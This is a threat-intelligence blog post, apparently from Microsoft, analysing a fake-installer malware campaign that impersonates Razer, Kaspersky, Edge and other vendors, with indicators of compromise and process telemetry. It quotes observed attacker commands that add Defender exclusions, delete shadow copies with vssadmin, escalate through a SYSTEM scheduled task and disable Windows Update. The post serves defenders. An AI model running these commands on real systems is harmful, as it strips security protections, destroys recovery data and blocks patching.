{"id":61334,"date":"2026-09-01T22:48:28","date_gmt":"2026-09-01T22:48:28","guid":{"rendered":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/?p=149252"},"modified":"2026-09-01T22:48:28","modified_gmt":"2026-09-01T22:48:28","slug":"counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/","title":{"rendered":"Counterfeit installers to system compromise: Tracking a deceptive software download campaign"},"content":{"rendered":"<aside class=\"table-of-contents-block accordion wp-block-bloginabox-theme-table-of-contents\" id=\"accordion-59ff56f1-58f2-4a93-a788-cf54d4a7c861\" data-bi-an=\"table-of-contents\"> <button class=\"btn btn-collapse\" type=\"button\" aria-expanded=\"true\" aria-controls=\"accordion-collapse-59ff56f1-58f2-4a93-a788-cf54d4a7c861\"> <span class=\"table-of-contents-block__label\">In this article<\/span> <span class=\"table-of-contents-block__current\" aria-hidden=\"true\"><\/span> <svg class=\"table-of-contents-block__arrow\" aria-label=\"Toggle arrow\" width=\"18\" height=\"11\" viewBox=\"0 0 18 11\" fill=\"none\"> <path d=\"M15.7761 11L18 8.82043L9 0L0 8.82043L2.22394 11L9 4.35913L15.7761 11Z\" fill=\"currentColor\" \/> <\/svg> <\/button> <span class=\"table-of-contents-block__progress-bar\"><\/span><br \/>\n<\/aside>\n<p class=\"wp-block-paragraph\">Microsoft Defender Experts is tracking an active malware campaign that uses counterfeit software-download websites to impersonate trusted vendors and distribute malicious installers. The campaign has targeted users looking to download popular software and has resulted in compromises across multiple organizations and industries, primarily affecting China-based operations of multinational organizations and Chinese-speaking users. Microsoft has observed victims across healthcare, manufacturing, gaming, technology, logistics, government, and education sectors.<\/p>\n<p class=\"wp-block-paragraph\">Once executed, the malicious installers deploy malware that establishes persistence, attempts to weaken security protections, and communicates with attacker-controlled infrastructure. Microsoft assesses with moderate confidence that this activity is consistent with the publicly reported Silver Fox (also known as Yinhu, \u94f6\u72d0) fake software campaign but has not attributed it to a nation-state actor. Microsoft Defender detected and disrupted activity across multiple stages of the attack, including automated containment through attack disruption. Organizations should prioritize preventing downloads from untrusted software sources and ensure protections such as SmartScreen, network protection, tamper protection, and Microsoft Defender XDR are enabled to help identify, block, and respond to related activity.<\/p>\n<h2 class=\"wp-block-heading\" id=\"attack-chain-overview\">Attack chain overview<\/h2>\n<p class=\"wp-block-paragraph\">The campaign follows a consistent attack chain from a spoofed vendor download page to a self-protecting, persistent implant. The stages below trace that chain \u2014 initial access, delivery, execution, persistence, privilege escalation, defense evasion, and command and control.<\/p>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp\" alt class=\"wp-image-149253 webp-format\" srcset=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp 458w, https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-134x300.webp 134w, https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image.webp 491w\" data-orig-src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp\"><figcaption class=\"wp-element-caption\">Figure 1. Diagram showing the campaign attack chain from spoofed download page to archive delivery, execution, persistence, defense evasion, and command-and-control.<\/figcaption><\/figure>\n<h2 class=\"wp-block-heading\" id=\"campaign-scope-and-targeting\">Campaign scope and targeting<\/h2>\n<p class=\"wp-block-paragraph\">Microsoft observed affected devices predominantly associated with China-based operations and Chinese-speaking users, consistent with the Chinese-language lure content and the <em>.com.cn <\/em>and<em> .hl.cn<\/em> infrastructure. Confirmed activity spans medical devices and healthcare, manufacturing, gaming, technology, logistics, government, and higher education across multiple organizations and industries.<\/p>\n<h3 class=\"wp-block-heading\" id=\"initial-access-spoofed-software-download-sites\">Initial access: spoofed software-download sites<\/h3>\n<p class=\"wp-block-paragraph\">The entry point is a fraudulent software-download website that spoofs a legitimate vendor. In one case, endpoint telemetry captured a device navigating to the fake Razer page <em>pc-razerzone[.]com[.]cn<\/em> and downloading <em>app_setup.6653004.zip<\/em> from the delivery host <em>gehie246[.]com\/712down<\/em>; two content-distinct copies of the same-named archive were written within roughly 69 seconds \u2014 a direct observation of server-side payload regeneration.<\/p>\n<p class=\"wp-block-paragraph\">Across the estate, <em>FileOriginReferrerUrl<\/em> telemetry ties each downloaded archive to the impersonation page that served it and to rotating delivery hosts (<em>yimxg25tiy[.]com\/73inst<\/em>, <em>cc8ttkv35b[.]com\/7qinst<\/em>, <em>n7b8t85zsg[.]com\/ins711<\/em>) and a suspected attacker-controlled Alibaba Cloud Object Storage Service (OSS) bucket. The lure domains predominantly use <em>.com.cn<\/em>, <em>.hl.cn<\/em>, and <em>.cn<\/em> and embed the impersonated brand name.<\/p>\n<h3 class=\"wp-block-heading\" id=\"delivery-a-dynamically-generated-installer-archive\">Delivery: a dynamically generated installer archive<\/h3>\n<p class=\"wp-block-paragraph\">The following examples illustrate how look-alike domains routed users to the same delivery infrastructure while preserving brand-specific lure pages.<\/p>\n<p class=\"wp-block-paragraph\">When the user selects the download control, Microsoft Edge retrieves a malicious installer archive from a small set of dedicated delivery domains.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"8\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\npc-razerzone[.]com[.]cn (spoofed Razer download site) \u2192 www[.]gehie246[.]com\/712down \u2192 app_setup.6653004.zip \u2192 stage-one loader\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">A defining characteristic is that the archive keeps the same filename while its hash changes on every download \u2014 a strong indicator the payload is generated server-side, per request. Microsoft observed families of same-named archives (<em>app_setup.*<\/em>, <em>zinst.*<\/em>, <em>zintall.*<\/em>, <em>intsoft.*<\/em>, <em>innstll.*<\/em>) whose contents differ across downloads while the delivery URL stays constant; the full validated hash set is in the indicators of compromise below.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"8\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nkaspersky-lab[.]hl[.]cn \u2192 hxxp:\/\/www.gehie246[.]com\/712down\npc-razerzone[.]com[.]cn \u2192 hxxp:\/\/www.gehie246[.]com\/712down\ncalibre-ebook[.]com[.]cn \u2192 hxxp:\/\/www.gehie246[.]com\/712down\n<\/pre>\n<\/div>\n<h3 class=\"wp-block-heading\" id=\"brand-impersonation-infrastructure\">Brand-impersonation infrastructure<\/h3>\n<p class=\"wp-block-paragraph\">The campaign runs a large, uniform set of vendor look-alike pages on <em>.com.cn<\/em> and <em>.hl.cn<\/em> domains, each cloning the real product\u2019s branding and presenting a prominent <strong>\u201cDownload now\u201d<\/strong> button. All funnel to the same delivery and payload infrastructure.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<tbody readability=\"9\">\n<tr readability=\"2\">\n<td><strong>Impersonated brand<\/strong><\/td>\n<td><strong>Spoofed domain (defanged)<\/strong><\/td>\n<td><strong>Category<\/strong><\/td>\n<\/tr>\n<tr>\n<td>Razer (Synapse driver)<\/td>\n<td>pc-razerzone[.]com[.]cn<\/td>\n<td>Peripherals \/ drivers<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Microsoft Edge<\/td>\n<td>app-microsoft-edge[.]com[.]cn<\/td>\n<td>Browser<\/td>\n<\/tr>\n<tr>\n<td>Kaspersky<\/td>\n<td>kaspersky-lab[.]hl[.]cn<\/td>\n<td>Security software<\/td>\n<\/tr>\n<tr>\n<td>Sejda PDF<\/td>\n<td>sejda[.]hl[.]cn<\/td>\n<td>Productivity<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>NetEase Youdao Dictionary<\/td>\n<td>translate-youdao[.]hl[.]cn<\/td>\n<td>Translation<\/td>\n<\/tr>\n<tr>\n<td>DiskGenius<\/td>\n<td>zh-diskgenius[.]com[.]cn<\/td>\n<td>Disk utility<\/td>\n<\/tr>\n<tr>\n<td>Baidu Netdisk (Pan)<\/td>\n<td>baidu-pan[.]com[.]cn<\/td>\n<td>Cloud storage<\/td>\n<\/tr>\n<tr>\n<td>oCam Screen Recorder<\/td>\n<td>ocam-pc[.]com[.]cn<\/td>\n<td>Screen capture<\/td>\n<\/tr>\n<tr>\n<td>draw.io<\/td>\n<td>cn-drawio[.]com[.]cn<\/td>\n<td>Diagramming<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>SteelSeries<\/td>\n<td>steelseries-cn[.]com[.]cn<\/td>\n<td>Peripherals<\/td>\n<\/tr>\n<tr>\n<td>Sogou<\/td>\n<td>gw-sogou[.]com[.]cn<\/td>\n<td>Input method<\/td>\n<\/tr>\n<tr>\n<td>Calibre<\/td>\n<td>calibre-ebook[.]com[.]cn<\/td>\n<td>E-book<\/td>\n<\/tr>\n<tr>\n<td>MindMaster (typosquat)<\/td>\n<td>mindmoster[.]com[.]cn<\/td>\n<td>Mind-mapping<\/td>\n<\/tr>\n<tr readability=\"8\">\n<td>Others<\/td>\n<td>pc-codex, jinshan-cibapc, zh-tbtool, web-tbtool, zh-doubaosrf, ieway-cn (all [.]com[.]cn \/ [.]hl[.]cn)<\/td>\n<td>Various utilities<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"wp-block-paragraph\">Although these domains impersonate unrelated vendors, they are not independently hosted. Infrastructure enrichment, corroborated by Microsoft telemetry where the two overlap, resolves them into two groupings. Six domains resolve within AS132839, spread across four unrelated netblocks and three registered country codes, and share a common pair of nameservers. Two further domains resolve within AS8796 in a single \/21, using a different nameserver pair. One additional domain is served through a content delivery network (CDN), concealing its origin. Because hosting and Domain Name System (DNS) are frequently bundled by the same reseller, these are best read as two consistent procurement channels rather than two independent corroborating signals.<\/p>\n<p class=\"wp-block-paragraph\">The practical implication for defenders is that netblock- and geography-based grouping will miss these relationships, while Autonomous System Number (ASN)-level analysis surfaces them.The autonomous system remains constant even where the address space and registered country vary. These are shared commercial hosting and DNS providers carrying substantial unrelated tenancy, so the ASN and nameserver should be treated as hunting pivots, not blocklist entries.<\/p>\n<p class=\"wp-block-paragraph\">The following capture shows a representative impersonation page served by the campaign. The pages are high-fidelity clones of a legitimate vendor\u2019s site with a prominent download call-to-action.<\/p>\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-1.webp\" alt class=\"wp-image-149254 webp-format\" srcset data-orig-src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-1.webp\"><figcaption class=\"wp-element-caption\">Figure 2b. Counterfeit Microsoft Edge download page hosted on the look-alike domain app-microsoft-edge[.]com[.]cn, with a prominent download button.<\/figcaption><\/figure>\n<h3 class=\"wp-block-heading\" id=\"execution-a-wrapped-installer-drops-a-randomized-stage-one-payload\">Execution: a wrapped installer drops a randomized stage-one payload<\/h3>\n<p class=\"wp-block-paragraph\">The wrapper installer creates a randomized executable path while reusing stable payload content, making names unreliable but behavior and hashes useful for detection.<\/p>\n<p class=\"wp-block-paragraph\">Opening the archive yields a wrapper installer whose name follows a generated pattern (for example, <em>a_instapp83353001.exe<\/em> or <em>ainst8663586104.exe<\/em>).<\/p>\n<p class=\"wp-block-paragraph\">Executing the wrapper creates and launches a stage-one payload at a randomized path under a world-writable or system location; the directory and file names are randomized, but the payload content is stable. The same stage-one 256-bit Secure Hash Algorithm (SHA-256) (676a2a7b94ca\u2026) was observed under many names and paths.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nC:\\Users\\Public\\sE94yD\\aLcUaw.exe (SHA-256 676a2a7b94ca\u2026 stage-one)\nC:\\Users\\Public\\nvdPX5\\2b3L5i.exe (SHA-256 676a2a7b94ca\u2026 stage-one)\nC:\\Program Files (x86)\\i3LH90\\ErNGxW.exe (SHA-256 6d6ba2bc9ad4\u2026 later-stage)\nC:\\Program Files (x86)\\Q8Maj\\7EIr6VA.exe (SHA-256 6d6ba2bc9ad4\u2026 later-stage)\nC:\\ProgramData\\zsMmvukD\\beuv4Mie.exe (SHA-256 c6100166e2d3\u2026 persistent)\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">The end-to-end chain is visible as a parent-to-child process tree: <em>msedge.exe<\/em> writes the archive, an archiving tool (<em>7zFM.exe<\/em>, <em>360zip.exe<\/em>, or <em>WinRAR.exe<\/em>) extracts it, the bundled wrapper runs, and the wrapper launches the randomized stage-one payload.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nmsedge.exe downloads app_setup.6653004.zip \u2514\u2500 7zFM.exe \/ 360zip.exe \/ WinRAR.exe (user opens the downloaded archive) \u2514\u2500 a_instapp83353001.exe (wrapper installer bundled in the archive) \u2514\u2500 C:\\Users\\Public\\yZ6A88\\9bEELI.exe (stage-one payload, randomized)\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">Payloads are masqueraded; Microsoft confirmed the masquerade through file metadata on the later-stage payload (SHA-256 6d6ba2bc\u2026), staged at <em>C:\\Program Files (x86)\\&lt;random&gt;\\<\/em>. The binary\u2019s version resource declares CompanyName: \u201cSpeech Processing Solutions GmbH\u201d, FileDescription: \u201cPhilips Speech Driver Client Configuration\u201d, OriginalFileName: PhilipsSpeechDriverConfiguration.exe, and ProductVersion: 4.7.471.07,while executing from a randomized directory under a randomized file name. The same resource retains an unfilled build-template placeholder, ProductName: \u201cTODO: &lt;Product name&gt;\u201d, indicating the version information was fabricated for the payload rather than inherited from genuine vendor software. Microsoft also observed <em>svchost.exe<\/em> executing from a non-system path (<em>D:\\hellothere\\svchost.exe<\/em>) rather than <em>C:\\Windows\\System32<\/em>.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nFileName XPSPLOG.dll\nFolderPath C:\\Program Files (x86)\\72q1o6\\XPSPLOG.dll\nInitiatingProcessFileName 40gK5T.exe\nInitiatingProcessFolderPath C:\\Program Files (x86)\\72q1o6\\40gK5T.exe\nInitiatingProcessSHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8\nInitiatingProcessCommandLine \"40gK5T.exe\" InitiatingProcessVersionInfoCompanyName Speech Processing Solutions GmbH\nInitiatingProcessVersionInfoFileDescription Philips Speech Driver Client Configuration\nInitiatingProcessVersionInfoOriginalFileName PhilipsSpeechDriverConfiguration.exe\nInitiatingProcessVersionInfoProductVersion 4.7.471.07\nInitiatingProcessVersionInfoProductName TODO: <product name> InitiatingProcessParentFileName svchost.exe\n<\/product><\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">A payload staged under <em>C:\\ProgramData\\&lt;random&gt;\\<\/em> (SHA-256 c6100166\u2026) carries the version metadata of the Indigo Rose TrueUpdate Client (OriginalFileName: tu_rt.exe, ProductVersion: 3.8.0.0) and exhibits that product\u2019s runtime behavior, writing _ir_tu2_temp_* artifacts to the user\u2019s temp directory on each execution. Dropped by the later-stage payload and launched repeatedly by the Task Scheduler service, it connects to an attacker-controlled Alibaba Cloud OSS bucket over Transport Layer Security (TLS) and writes a further payload to a second randomized <em>C:\\ProgramData\\<\/em> directory \u2014 a legitimate update mechanism repurposed for payload delivery.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\n00:24:43 ErNGxW.exe (6d6ba2bc\u2026) creates C:\\ProgramData\\zsMmvukD\\beuv4Mie.exe (c6100166\u2026)\n00:24:43 beuv4Mie.exe executes \u2190 parent: svchost.exe -k netsvcs -p -s Schedule\n00:24:44 beuv4Mie.exe \u2192 ConnectionSuccess | upitem.oss-cn-hangzhou.aliyuncs.com | 443\n00:24:44 beuv4Mie.exe creates C:\\ProgramData\\uwMUCYBN\\SaYC4Mga.exe (f33d160d\u2026)\n02:12:22 beuv4Mie.exe creates \u2026\\Temp\\_ir_tu2_temp_4 \u2190 TrueUpdate runtime artifact\n02:44:20 beuv4Mie.exe re-executes (scheduled task) \u2192 _ir_tu2_temp_5\n02:59:00 \u2026 _temp_6 03:15:54 \u2026 _temp_7 08:02:52 \u2026 _temp_8\n08:32:20 \u2026 _temp_9 08:38:51 \u2026 _temp_11\n<\/pre>\n<\/div>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<tbody readability=\"5\">\n<tr readability=\"2\">\n<td><strong>Wrapper installer<\/strong><\/td>\n<td><strong>Stage-one payload created<\/strong><\/td>\n<\/tr>\n<tr readability=\"2\">\n<td><em>a_instapp83353001.exe<\/em><\/td>\n<td><em>C:\\Users\\Public\\yZ6A88\\9bEELI.exe<\/em><\/td>\n<\/tr>\n<tr readability=\"2\">\n<td><em>z_instapp83351010.exe<\/em><\/td>\n<td><em>C:\\Users\\Public\\Y93eny\\Ge86Zr.exe<\/em><\/td>\n<\/tr>\n<tr readability=\"2\">\n<td><em>ainstaller-86533003.exe<\/em><\/td>\n<td><em>C:\\Users\\Public\\Mmzm0e\\Lrrhwp.exe<\/em><\/td>\n<\/tr>\n<tr readability=\"2\">\n<td><em>ainst8663586104.exe<\/em><\/td>\n<td><em>C:\\Users\\Public\\YJMvsB\\BcQVw7.exe<\/em><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"wp-block-heading\" id=\"alternate-execution-vector-windows-installer-msiexec\">Alternate execution vector: Windows Installer (msiexec)<\/h3>\n<p class=\"wp-block-paragraph\">In parallel with the wrapped-installer chain, Microsoft observed a second execution vector that uses the Windows Installer service. The installer performs its intended function; what the campaign gains is execution under a signed, trusted Windows component. The extracted installer invokes <em>msiexec.exe<\/em> in embedded mode, which writes and launches a randomized executable into a world-writable <em>C:\\Users\\Public\\&lt;random&gt;\\<\/em> directory, the same masquerade pattern as the wrapper chain, but delivered through <em>msiexec.exe<\/em>.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"9\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nmsiexec.exe -Embedding <productcode> E Global\\MSI0000 \u2514\u2500 C:\\Users\\Public\\<random>\\<random>.exe (payload, randomized path\/name)\n<\/random><\/random><\/productcode><\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">The behavior is consistent and repeated: more than twenty distinct payload names were written this way, spawned by a range of parents including <em>msedge.exe<\/em>, <em>explorer.exe<\/em>, and <em>svchost.exe<\/em>.<\/p>\n<h3 class=\"wp-block-heading\" id=\"persistence-and-recurring-execution-disguised-scheduled-tasks\">Persistence and recurring execution: disguised scheduled tasks<\/h3>\n<p class=\"wp-block-paragraph\">Persistence and recurring execution are achieved through scheduled tasks whose display names imitate routine IT or productivity jobs (for example \u201cDeadline Mission Target\u201d and \u201cHierarchy Tools Smooth Inventory\u201d), each launching a specific payload staged under <em>C:\\ProgramData\\<\/em>.<\/p>\n<p class=\"wp-block-paragraph\">Each task launches a specific payload:<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<tbody readability=\"2\">\n<tr>\n<td><strong>Scheduled task name<\/strong><\/td>\n<td><strong>Payload launched<\/strong><\/td>\n<\/tr>\n<tr>\n<td>\\Deadline Mission Target<\/td>\n<td><em>7fYptijy.exe<\/em><\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>\\Hierarchy Tools Smooth Inventory<\/td>\n<td><em>beuv4Mie.exe<\/em><\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>\\Empowering Status Tools productivity Ahead<\/td>\n<td><em>SaYC4Mga.exe<\/em><\/td>\n<\/tr>\n<tr>\n<td>\\5nboF<\/td>\n<td><em>aLcUaw.exe<\/em> (stage-one)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"wp-block-paragraph\">The persistent payloads are staged in locations such as <em>C:\\ProgramData\\7fYptijy.exe<\/em>, <em>C:\\ProgramData\\zsMmvukD\\beuv4Mie.exe<\/em>, and <em>C:\\ProgramData\\uwMUCYBN\\SaYC4Mga.exe<\/em>. Because the payloads are launched by the Task Scheduler service (parented to <em>svchost.exe -k netsvcs -p -s Schedule<\/em>) and multiple staggered tasks run per device, affected hosts exhibit a characteristic ~60-second re-execution cadence.<\/p>\n<h3 class=\"wp-block-heading\" id=\"privilege-escalation-system-scheduled-task-and-process-injection\">Privilege escalation: SYSTEM scheduled task and process injection<\/h3>\n<p class=\"wp-block-paragraph\">To perform privileged actions such as writing Microsoft Defender exclusions, the malware creates a short-lived scheduled task that runs as SYSTEM (<em>SCHTASKS \/Create \u2026 \/RL HIGHEST \/RU \u201cSYSTEM\u201d<\/em>), executes the privileged action, then immediately runs and deletes the task<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"9\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nSCHTASKS \/Create \/F \/TN \"Task1\" \/SC ONCE \/ST 00:00 \/RL HIGHEST \/RU \"SYSTEM\" \/TR \"cmd.exe \/c reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" \/v \\\"C:\\Program Files (x86)\\NPq6k16Om\\\" \/t REG_DWORD \/d 0 \/f\"\nSCHTASKS \/Run \/TN \"Task1\" &amp; SCHTASKS \/Delete \/TN \"Task1\" \/F\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">The <em>\/RL HIGHEST \/RU \u201cSYSTEM\u201d<\/em> combination elevates the exclusion write to SYSTEM, and the create-run-delete sequence minimizes the footprint of the helper task. Process injection was also observed. A persistent campaign payload (SHA-256 1bd3662d\u2026), launched from <em>C:\\ProgramData\\<\/em> by the Task Scheduler service, created a remote thread in a legitimate user application moments after that application started \u2014 executing payload code inside the context of a trusted process. Microsoft Defender detected the activity as <em>A process was injected with potentially malicious code<\/em>.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nActionType CreateRemoteThreadApiCall\nInitiatingProcessFileName <random>.exe\nInitiatingProcessFolderPath C:\\ProgramData\\<random>.exe\nInitiatingProcessSHA256 1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17\nInitiatingProcessCommandLine \"<random>.exe\"\nInitiatingProcessCreationTime 2026-07-13 02:44:20.887\nInitiatingProcessParentFileName svchost.exe\nFileName <messaging application>.exe (target process)\nProcessCommandLine \"<messaging application>.exe\" -autorun\nProcessCreationTime 2026-07-13 02:44:37.568\nAdditionalFields {\"IntegrityLevel\":8192}\n<\/messaging><\/messaging><\/random><\/random><\/random><\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">The sequence below shows a single execution cycle end to end: the Task Scheduler service launches the payload, the payload immediately attempts command-and-control on two non-standard ports \u2014 both blocked at the host firewall \u2014 and, seventeen seconds later, injects into a user application within milliseconds of that application starting.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\n02:44:20.887 PROC <random>.exe started parent: svchost.exe (Task Scheduler)\n02:44:21.971 NETWORK outbound to 47.239.232[.]245:8050 \u2192 FirewallOutboundConnectionBlocked\n02:44:24.860 NETWORK outbound to 47.243.218[.]255:28300 \u2192 FirewallOutboundConnectionBlocked\n02:44:37.568 PROC target application starts (-autorun)\n02:44:37.604 INJECT CreateRemoteThreadApiCall <random>.exe \u2192 target application <\/random><\/random><\/pre>\n<\/div>\n<h3 class=\"wp-block-heading\" id=\"defense-evasion-disabling-host-protections\">Defense evasion: disabling host protections<\/h3>\n<p class=\"wp-block-paragraph\">Follow-on payloads take a layered approach to weakening the host. They add sweeping Microsoft Defender path exclusions via PowerShell (<em>Add-MpPreference -ExclusionPath<\/em>) and the SYSTEM scheduled-task registry write;<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"17\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\npowershell.exe Add-MpPreference -ExclusionPath 'C:\\ProgramData','C:\\Users','C:\\Program Files (x86)','C:\\' -Force\npowershell.exe -c if (Get-Process -Name HAhahahah) {} else { Add-MpPreference -ExclusionPath $env:localappdata,'C:\\','C:\\ProgramData', 'C:\\ProgramData\\7b3St9HS','C:\\ProgramData\\7b3St9HS\\27s7ihjC.exe' -ExclusionExtension '.dat' -Force }\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">delete volume shadow copies (<em>vssadmin delete shadows \/all \/quiet<\/em>) to inhibit recovery;<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"7\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\ncmd.exe \/c vssadmin delete shadows \/all \/quiet\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">harden payload directories with icacls so standard users cannot remove the files;<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"8\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nicacls \"C:\\Program Files (x86)\\NPq6k16Om\\xo7Tj9xQ.exe\" \/grant:r Administrators:(OI)(CI)F \/grant:r SYSTEM:(OI)(CI)F\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">and neutralize Windows Update by stopping and disabling wuauserv, UsoSvc, uhssvc, and WaaSMedicSvc, renaming update dynamic-link libraries (DLLs), and deleting the SoftwareDistribution cache.<\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"10\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nfor %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i &amp; sc config %i start= disabled &amp; sc failure %i reset= 0 actions= \"\" )\nfor %i in (WaaSMedicSvc wuaueng) do ( takeown \/f C:\\Windows\\System32\\%i.dll &amp; icacls \u2026\\%i.dll \/grant *S-1-1-0:F &amp; rename \u2026\\%i.dll %i_BAK.dll &amp; icacls \u2026\\%i_BAK.dll \/setowner \"NT SERVICE\\TrustedInstaller\" &amp; icacls \u2026\\%i_BAK.dll \/remove *S-1-1-0 )\nreg add \"HKLM\\\u2026\\Services\\WaaSMedicSvc\" \/v Start \/t REG_DWORD \/d 4 \/f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" \/v NoAutoUpdate \/t REG_DWORD \/d 1 \/f\nerase \/f \/s \/q c:\\windows\\softwaredistribution\\*.* &amp; rmdir \/s \/q c:\\windows\\softwaredistribution\npowershell -Command Get-ScheduledTask -TaskPath '\\Microsoft\\Windows\\WindowsUpdate\\*' | Disable-ScheduledTask\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\">A malicious Windows Defender Application Control policy was written to the code-integrity store on multiple devices; Microsoft Defender Antivirus detected the tamper behavior as <em>Behavior:Win32\/MpTamperGpDisableAVFriendly.A<\/em>.<\/p>\n<h3 class=\"wp-block-heading\" id=\"command-and-control-c2\">Command and control (C2)<\/h3>\n<p class=\"wp-block-paragraph\">A later-stage networking payload establishes command-and-control over application-layer protocols on non-standard ports \u2014 observed ports include 5090, 7031, 7032, 7088\u20137090, 8050, 28290, and 28300.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<tbody readability=\"5.5\">\n<tr>\n<td><strong>Initiating payload<\/strong><\/td>\n<td><strong>C2 endpoint (defanged)<\/strong><\/td>\n<td><strong>Result<\/strong><\/td>\n<\/tr>\n<tr readability=\"3\">\n<td>40gK5T.exe, RhT9aQ.exe (Program Files (x86))<\/td>\n<td>103.156.25[.]35:7031<\/td>\n<td>Connection failed<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Multiple <em>C:\\ProgramData\\<\/em> payloads<\/td>\n<td>103.183.3[.]162:5090 (oijfwe[.]net)<\/td>\n<td>Connection failed<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Stage-one \/ persistent payloads<\/td>\n<td>Alibaba Cloud object storage over TLS (443)<\/td>\n<td>Connection succeeded<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"wp-block-paragraph\">C2 endpoints comprise a set of six-character [.]net domains (iualef, oijfwe, euioxu, czijbh, wfmwsj, tbdqxq) and IP-and-port endpoints; a primary hub was observed on 202.95.14[.]237 (AS152194, CTG Server Limited). Payloads were observed beaconing to these endpoints with both successful and failed callbacks; the dedicated [.]net and IP-and-port C2 was intermittently unreachable while the same payloads still completed TLS connections to cloud object storage, consistent with a dedicated C2 tier that was often down while cloud-hosted staging remained live.<\/p>\n<h3 class=\"wp-block-heading\" id=\"detection-and-disruption\">Detection and disruption<\/h3>\n<p class=\"wp-block-paragraph\"> In observed environments, Microsoft Defender surfaced alerts across multiple stages and, where criteria were met, Attack Disruption engaged to contain affected devices and accounts. <\/p>\n<p class=\"wp-block-paragraph\">Representative alerts include <em>Modification attempt in Microsoft Defender Antivirus exclusion list<\/em>, <em>Compromised device (attack disruption)<\/em>, 